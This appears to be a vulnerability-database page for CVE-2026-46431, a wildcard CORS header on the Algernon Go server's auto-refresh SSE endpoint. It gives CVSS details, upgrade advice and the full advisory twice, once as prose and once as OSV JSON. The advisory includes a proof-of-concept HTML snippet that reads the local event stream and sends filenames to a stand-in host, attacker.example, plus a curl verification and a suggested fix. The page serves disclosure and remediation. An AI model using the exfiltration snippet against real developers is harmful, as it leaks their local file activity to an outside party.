CVE-2026-46431: Algernon Auto-refresh SSE Event Server Sets Vulnerability

MODERATE
Advisory Identifier: GHSA-hw27-4v2q-5qff
CVSS 4.3
CWE-942
Published
Advisory Summary

CVE-2026-46431 is a MODERATE (CVSS 4.3) auto-refresh sse event server sets vulnerability (CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains) affecting Algernon libraries in the Go ecosystem. The issue involves auto-refresh sse event server sets access-control-allow-origin: *. Remediation is available by upgrading affected packages to version 1.17.7.

CVE-2026-46431 at a Glance

CVE Identifier CVE-2026-46431
GHSA Identifier GHSA-hw27-4v2q-5qff
Severity MODERATE
CVSS v3.1 Base Score 4.3
CWE Classification CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains
Affected Product Algernon
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 4.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-46431

To remediate this vulnerability, upgrade all affected Algernon dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/xyproto/algernon fixed: 1.17.7
Upgrade github.com/xyproto/algernon to 1.17.7
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/xyproto/algernon

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-46431, inspect your project dependencies for Algernon:

inspect dependencies for github.com/xyproto/algernon

Analyze the terminal output to locate any version of Algernon in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.17.7), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains, where the product uses a web-client protection mechanism such as a content security policy (csp) or cross-domain policy file, but the policy includes untrusted domains with which the web client is allowed to communicate. In Algernon, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The SSE event server's `Access-Control-Allow-Origin` response header was hardcoded to the wildcard `*` regardless of the caller's `Origin`. Because `EventSource` does not preflight and does not send cookies, the wildcard is sufficient to let any third-party page the developer visits open a cross-origin `EventSource` to the SSE port and read the live filename stream from JavaScript. Combined with the lack of authentication (advisory #2a), no further trickery is required — any tab the developer opens has script-level read access to the stream. This advisory covers the CORS configuration in isolation. The fix is independent of authentication and bind-address fixes: the wildcard could be replaced with a same-origin echo without touching either. ### Details #### Root cause — hard-coded `"*"` passed as the CORS allowed-origin ```go // engine/config.go (1.17.6, MustServe) recwatch.EventServer(absdir, "*", ac.eventAddr, ac.defaultEventPath, ac.refreshDuration) ``` The literal `"*"` is the second positional argument. The vendored `recwatch` implementation reflects it verbatim into the response header: ```go // vendor/github.com/xyproto/recwatch/eventserver.go:100-108 (1.17.6) func GenFileChangeEvents(events TimeEventMap, mut *sync.Mutex, maxAge time.Duration, allowed string) http.HandlerFunc { return func(w http.ResponseWriter, _ *http.Request) { w.Header().Set("Content-Type", "text/event-stream;charset=utf-8") w.Header().Set("Cache-Control", "no-cache") w.Header().Set("Connection", "keep-alive") w.Header().Set("Access-Control-Allow-Origin", allowed) ... } } ``` There is no decision based on the request's `Origin` header, and no allow-list mechanism — every caller is told their origin is approved. #### Why the wildcard is exploitable `EventSource` opens a `GET` request, never sends a preflight, and never carries cookies. The same-origin policy normally still blocks the response body from being read by JavaScript at a different origin — that is the role of `Access-Control-Allow-Origin`. When the server returns `*`, the browser permits the cross-origin script to read every `message` event. So a developer running `algernon -a` on their workstation, with the SSE listener at `http://127.0.0.1:5553/sse` (Windows) or `http://0.0.0.0:5553/sse` (Linux/macOS), only needs to visit *any* third-party origin in another tab for the following to drain their stream silently: ```html <!doctype html> <script> const s = new EventSource('http://127.0.0.1:5553/sse'); s.onmessage = e => fetch('https://attacker.example/log?f=' + encodeURIComponent(e.data)); </script> ``` The exploit is cookie-less and CORS-clean — no SameSite, no third-party-cookie restriction, no preflight challenge applies. The user interaction is "visit a webpage," which `UI:R` in the CVSS vector reflects. ### PoC (against 1.17.6) ```bash # 1. Operator: algernon -a /path/to/project on Windows; SSE at localhost:5553 # 2. Attacker lures the developer to https://news.example: # The page contains the snippet above. # 3. EventSource opens, browser sends the request; algernon responds with # Access-Control-Allow-Origin: *, browser passes message events to the # cross-origin script; script ships filenames to attacker.example. ``` CLI reproduction of the header is identical to advisory #2a's transcript; the relevant evidence is the `Access-Control-Allow-Origin: *` value in the response, not the body. ### Impact - **Confidentiality:** medium. Cross-origin browser-tab read access to the file-change stream, with no server-side knowledge that the read happened. - **Integrity:** none. - **Availability:** none directly (the cross-origin tab does not exhaust resources beyond the user's own browser). ### Suggestions to fix **Primary fix — echo a same-origin allow-list instead of `*`.** ```go // vendor/github.com/xyproto/recwatch/eventserver.go -- in GenFileChangeEvents origin := r.Header.Get("Origin") if !isAllowedOrigin(origin) { http.Error(w, "forbidden", http.StatusForbidden) return } w.Header().Set("Access-Control-Allow-Origin", origin) w.Header().Set("Vary", "Origin") ``` The `allowed` parameter must change from `"*"` to an explicit allow-list (or a single canonical server origin) — for example, `sseScheme + "://" + ac.serverAddr`. With the server's own scheme+host+port in `Allow-Origin`, a cross-origin request from `evil.example` is rejected by the browser because the response advertises a different origin. **Defence in depth — drop the legacy dedicated-port code path.** Mounting the SSE handler on the main mux instead lets the response omit `Access-Control-Allow-Origin` entirely (same-origin only by default). The dedicated `--eventserver`-style path is the only place `Access-Control-Allow-Origin` is set in the codebase; removing the dedicated path simplifies the surface. ### Live verification ``` $ ./algernon.exe --nodb --httponly --server -a --addr 127.0.0.1:18779 --quiet poc2/site $ ( curl -sNi --max-time 2 -H "Origin: http://evil.example" http://127.0.0.1:5553/sse > sse.txt & sleep 1 echo "trigger" >> poc2/site/probe.txt wait ) $ cat sse.txt HTTP/1.1 200 OK Access-Control-Allow-Origin: * Cache-Control: no-cache Connection: keep-alive Content-Type: text/event-stream;charset=utf-8 ... id: 0 data: C:\Users\xbox\Desktop\VulnTesting\algernon-main\poc-test\poc2\site\probe.txt ``` The `Origin: http://evil.example` request header was echoed back as `Access-Control-Allow-Origin: *` (the wildcard — browsers treat this as "any origin may read"). A cross-origin tab at any URL can run `new EventSource("http://<algernon>:5553/sse")` and read the stream.

CVE-2026-46431 Affected Algernon Versions

1 component(s)
Fixed Versions:
1.17.7
Product / Package Ecosystem Affected Versions Fixed Version
github.com/xyproto/algernon
Go
< 1.17.7
1.17.7

References

Frequently Asked Questions

What is CVE-2026-46431?
CVE-2026-46431 is a security vulnerability in Algernon involving Auto-refresh SSE event server sets Access-Control-Allow-Origin: * under CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains.
Which Algernon versions are affected?
Affected versions include releases prior to 1.17.7 across affected packages: github.com/xyproto/algernon.
What version fixes CVE-2026-46431?
Upgrading to 1.17.7 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/xyproto/algernon affected?
Yes, github.com/xyproto/algernon is affected in releases prior to 1.17.7. Upgrade your dependency to 1.17.7 or later.
What is the CVSS score of CVE-2026-46431?
CVE-2026-46431 has a CVSS v3.1 base score of 4.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N.
What CWE is associated with CVE-2026-46431?
CVE-2026-46431 is classified under CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains (The product uses a web-client protection mechanism such as a Content Security Policy (CSP) or cross-domain policy file, but the policy includes untrusted domains with which the web client is allowed to communicate.).
How can I check Go dependencies for CVE-2026-46431?
Run the dependency tree command: 'inspect dependencies for github.com/xyproto/algernon'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hw27-4v2q-5qff",
  "modified" : "2026-06-08T23:27:33Z",
  "published" : "2026-05-20T15:34:40Z",
  "aliases" : [ "CVE-2026-46431" ],
  "summary" : "Algernon: Auto-refresh SSE event server sets Access-Control-Allow-Origin: *",
  "details" : "### Summary\n\nThe SSE event server's `Access-Control-Allow-Origin` response header was hardcoded to the wildcard `*` regardless of the caller's `Origin`. Because `EventSource` does not preflight and does not send cookies, the wildcard is sufficient to let any third-party page the developer visits open a cross-origin `EventSource` to the SSE port and read the live filename stream from JavaScript. Combined with the lack of authentication (advisory #2a), no further trickery is required — any tab the developer opens has script-level read access to the stream.\n\nThis advisory covers the CORS configuration in isolation. The fix is independent of authentication and bind-address fixes: the wildcard could be replaced with a same-origin echo without touching either.\n\n### Details\n\n#### Root cause — hard-coded `\"*\"` passed as the CORS allowed-origin\n\n```go\n// engine/config.go  (1.17.6, MustServe)\nrecwatch.EventServer(absdir, \"*\", ac.eventAddr, ac.defaultEventPath, ac.refreshDuration)\n```\n\nThe literal `\"*\"` is the second positional argument. The vendored `recwatch` implementation reflects it verbatim into the response header:\n\n```go\n// vendor/github.com/xyproto/recwatch/eventserver.go:100-108  (1.17.6)\nfunc GenFileChangeEvents(events TimeEventMap, mut *sync.Mutex, maxAge time.Duration, allowed string) http.HandlerFunc {\n    return func(w http.ResponseWriter, _ *http.Request) {\n        w.Header().Set(\"Content-Type\", \"text/event-stream;charset=utf-8\")\n        w.Header().Set(\"Cache-Control\", \"no-cache\")\n        w.Header().Set(\"Connection\", \"keep-alive\")\n        w.Header().Set(\"Access-Control-Allow-Origin\", allowed)\n        ...\n    }\n}\n```\n\nThere is no decision based on the request's `Origin` header, and no allow-list mechanism — every caller is told their origin is approved.\n\n#### Why the wildcard is exploitable\n\n`EventSource` opens a `GET` request, never sends a preflight, and never carries cookies. The same-origin policy normally still blocks the response body from being read by JavaScript at a different origin — that is the role of `Access-Control-Allow-Origin`. When the server returns `*`, the browser permits the cross-origin script to read every `message` event.\n\nSo a developer running `algernon -a` on their workstation, with the SSE listener at `http://127.0.0.1:5553/sse` (Windows) or `http://0.0.0.0:5553/sse` (Linux/macOS), only needs to visit *any* third-party origin in another tab for the following to drain their stream silently:\n\n```html\n<!doctype html>\n<script>\n  const s = new EventSource('http://127.0.0.1:5553/sse');\n  s.onmessage = e => fetch('https://attacker.example/log?f=' + encodeURIComponent(e.data));\n</script>\n```\n\nThe exploit is cookie-less and CORS-clean — no SameSite, no third-party-cookie restriction, no preflight challenge applies. The user interaction is \"visit a webpage,\" which `UI:R` in the CVSS vector reflects.\n\n### PoC (against 1.17.6)\n\n```bash\n# 1. Operator: algernon -a /path/to/project  on Windows; SSE at localhost:5553\n# 2. Attacker lures the developer to https://news.example:\n#    The page contains the snippet above.\n# 3. EventSource opens, browser sends the request; algernon responds with\n#    Access-Control-Allow-Origin: *, browser passes message events to the\n#    cross-origin script; script ships filenames to attacker.example.\n```\n\nCLI reproduction of the header is identical to advisory #2a's transcript; the relevant evidence is the `Access-Control-Allow-Origin: *` value in the response, not the body.\n\n### Impact\n\n- **Confidentiality:** medium. Cross-origin browser-tab read access to the file-change stream, with no server-side knowledge that the read happened.\n- **Integrity:** none.\n- **Availability:** none directly (the cross-origin tab does not exhaust resources beyond the user's own browser).\n\n### Suggestions to fix\n\n**Primary fix — echo a same-origin allow-list instead of `*`.**\n\n```go\n// vendor/github.com/xyproto/recwatch/eventserver.go -- in GenFileChangeEvents\norigin := r.Header.Get(\"Origin\")\nif !isAllowedOrigin(origin) {\n    http.Error(w, \"forbidden\", http.StatusForbidden)\n    return\n}\nw.Header().Set(\"Access-Control-Allow-Origin\", origin)\nw.Header().Set(\"Vary\", \"Origin\")\n```\n\nThe `allowed` parameter must change from `\"*\"` to an explicit allow-list (or a single canonical server origin) — for example, `sseScheme + \"://\" + ac.serverAddr`. With the server's own scheme+host+port in `Allow-Origin`, a cross-origin request from `evil.example` is rejected by the browser because the response advertises a different origin.\n\n**Defence in depth — drop the legacy dedicated-port code path.** Mounting the SSE handler on the main mux instead lets the response omit `Access-Control-Allow-Origin` entirely (same-origin only by default). The dedicated `--eventserver`-style path is the only place `Access-Control-Allow-Origin` is set in the codebase; removing the dedicated path simplifies the surface.\n\n### Live verification\n\n```\n$ ./algernon.exe --nodb --httponly --server -a --addr 127.0.0.1:18779 --quiet poc2/site\n$ ( curl -sNi --max-time 2 -H \"Origin: http://evil.example\" http://127.0.0.1:5553/sse > sse.txt &\n    sleep 1\n    echo \"trigger\" >> poc2/site/probe.txt\n    wait )\n$ cat sse.txt\nHTTP/1.1 200 OK\nAccess-Control-Allow-Origin: *\nCache-Control: no-cache\nConnection: keep-alive\nContent-Type: text/event-stream;charset=utf-8\n...\nid: 0\ndata: C:\\Users\\xbox\\Desktop\\VulnTesting\\algernon-main\\poc-test\\poc2\\site\\probe.txt\n```\n\nThe `Origin: http://evil.example` request header was echoed back as `Access-Control-Allow-Origin: *` (the wildcard — browsers treat this as \"any origin may read\"). A cross-origin tab at any URL can run `new EventSource(\"http://<algernon>:5553/sse\")` and read the stream.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/xyproto/algernon"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.17.7"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.17.6"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/xyproto/algernon/security/advisories/GHSA-hw27-4v2q-5qff"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-46431"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/xyproto/algernon"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-942" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-20T15:34:40Z",
    "nvd_published_at" : "2026-05-26T17:16:51Z"
  }
}